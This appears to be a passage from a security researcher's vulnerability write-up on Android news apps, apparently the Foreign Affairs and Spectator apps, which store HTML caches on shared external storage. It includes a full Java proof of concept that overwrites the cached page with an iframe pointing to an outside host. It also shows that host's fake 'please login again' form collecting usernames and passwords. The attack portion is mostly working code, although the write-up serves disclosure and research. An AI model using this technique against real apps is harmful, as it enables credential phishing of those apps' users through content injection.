cache-control: max-age=3600
//...output omitted

<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <meta name="PugpigBoltTimelineVersion" content="4.7.4">
    <script>console.info('Bolt Timeline Version: 4.7.4')</script>
    <title>Bolt Timeline</title>
    <script type="module" crossorigin src="/bolt_timeline/4.7.4/bolt_timeline.5d55d616.js"></script>
    <link rel="modulepreload" crossorigin href="/bolt_timeline/4.7.4/index.c4d73eba.js">
    <link rel="stylesheet" href="/bolt_timeline/4.7.4/index.e38f74a0.css">
    <link rel="stylesheet" href="/bolt_timeline/4.7.4/bolt_timeline.ef67dd01.css">

<script type="application/javascript">window.timelineStyleVersion = '1.0.0';</script>
  </head>
  <body>
    <div id="app"></div>


  <!-- No custom widgets -->
  </body>
</html>

We want to keep everything intact, but inject an iframe before the closing body tag </body> in order to have something like:

 <iframe src='https://vroooom.io/poc.html' width='100%' height='100%'><iframe>
  </body>
</html>

Meaning that we load remote HTML content from the vroooom.io domain. In order to patch the file, we first read all its lines in a list, and then create a new list in which the iframe is inserted:

List<String> allContentLines = Files.lines(targetFile.toPath()).collect(Collectors.toList());
List<String> newContentLines = new ArrayList<>();
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
    boolean containsPayload = false;
    for (String l : allContentLines) {
        if (l.contains("phonypants")) {
            containsPayload = true;
        }
        if (l.contains("</body>") && !containsPayload) {
            newContentLines.add("<iframe id='phonypants' src='https://vroooom.io/poc.html' width='500x' height='1500px' style='background: #ccc; position: absolute; z-index: 9999; top:0; padding: 1rem'><iframe>");
            newContentLines.add(l);
        } else {
            newContentLines.add(l);
        }
    }
}

The CSS attribute id='phonypants' is used in order to check whether the file has already been patched. The src attribute is used to load content into the iframe, i.e. the overlay. Finally the style attribute makes sure that the iframe content is shown on top of everything else and is positioned correctly:

<iframe id='phonypants' src='https://vroooom.io/poc.html' width='500x' height='1500px' style='background: #ccc; position: absolute; z-index: 9999; top:0; padding: 1rem'><iframe>

On the remove side, poc.html looks like this:

<div style='position: absolute; z-index: 99999; top: 0; width: 100%; height: 100%; background-color:#ccc;'>
  Dear customer, please login again.
  <form>
    <input type='text' placeholder='Enter Username' name='username' required></br>
    <input type='password' placeholder='Enter Password' name='password' required></br>
    <button type='submit'>Login</button>
  </form>
</div>

As a final step, we overwrite the HTTP cache entry file and tweak the line endings a bit to make it work with the HTTP server used inside the app:

FileWriter writer = new FileWriter(targetFile, false);
boolean wrotePastHeaders = false;
for (String l : newContentLines) {
    if (l.contains("!DOCTYPE")) {
        wrotePastHeaders = true;
    }
    if (!wrotePastHeaders) {
        String stripped = l.replace("\n", "").replace("\r", "");
        writer.write(stripped);
        writer.write('\r');
        writer.write('\n');
    } else {
        writer.write(l);
    }
}
writer.close();

The final POC:

package com.example.externalstoragetest;

import com.example.externalstoragetest.databinding.ActivityMainBinding;

import android.Manifest;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.navigation.NavController;
import androidx.navigation.Navigation;
import androidx.navigation.ui.AppBarConfiguration;
import androidx.navigation.ui.NavigationUI;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.nio.file.Files;
import java.util.ArrayList;
import java.util.List;
import java.util.stream.Collectors;

public class MainActivity extends AppCompatActivity {
    private AppBarConfiguration appBarConfiguration;
    private ActivityMainBinding binding;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        binding = ActivityMainBinding.inflate(getLayoutInflater());
        setContentView(binding.getRoot());
        setSupportActionBar(binding.toolbar);

        NavController navController = Navigation.findNavController(this, R.id.nav_host_fragment_content_main);
        appBarConfiguration = new AppBarConfiguration.Builder(navController.getGraph()).build();
        NavigationUI.setupActionBarWithNavController(this, navController, appBarConfiguration);

        ActivityCompat.requestPermissions(this,
                new String[]{Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE}, 111);
        String path = "/sdcard/Android/data/com.foreignaffairs.magazine/cache/bolt_cache/reader.foreignaffairs.com/";
        File f = new File(path);
        File[] files = f.listFiles();
        File targetFile = null;
        if (files != null && files.length > 0) {
            for (File inFile : files) {
                if (inFile.isFile() && inFile.getName().startsWith("bolt_timeline.") && inFile.getName().endsWith(".html")) {
                    targetFile = inFile;
                }
            }
        }

        if (targetFile != null) {
            try {
                List<String> allContentLines = Files.lines(targetFile.toPath()).collect(Collectors.toList());
                List<String> newContentLines = new ArrayList<>();
                if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
                    boolean containsPayload = false;
                    for (String l : allContentLines) {
                        if (l.contains("phonypants")) {
                            containsPayload = true;
                        }
                        if (l.contains("</body>") && !containsPayload) {
                            newContentLines.add("<iframe id='phonypants' src='https://vroooom.io/poc.html' width='500x' height='1500px' style='background: #ccc; position: absolute; z-index: 9999; top:0; padding: 1rem'><iframe>");
                        }
                        newContentLines.add(l);
                    }
                }
                FileWriter writer = new FileWriter(targetFile, false);
                boolean wrotePastHeaders = false;
                for (String l : newContentLines) {
                    if (l.contains("!DOCTYPE")) {
                        wrotePastHeaders = true;
                    }
                    if (!wrotePastHeaders) {
                        String stripped = l.replace("\n", "").replace("\r", "");
                        writer.write(stripped);
                        writer.write('\r');
                        writer.write('\n');
                    } else {
                        writer.write(l);
                    }
                }
                writer.close();
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
    }
}

Screenshot for the login form overlay

Finding The Same Vulnerability On A Different Application

After everything was done, I decided to look a bit into the framework with which the application was built and discovered that there is one development shop which uses it. Going through their homepage, various other Android apps popped up, and pure luck gave the same bug in the latest version of The Spectator Android App.

Thanks

  • to Fabs, for guiding me through the whole process
  • to Niko, for making me push harder and the idea of using an iframe for a simpler POC
  • to Malte, for ideas to experiment with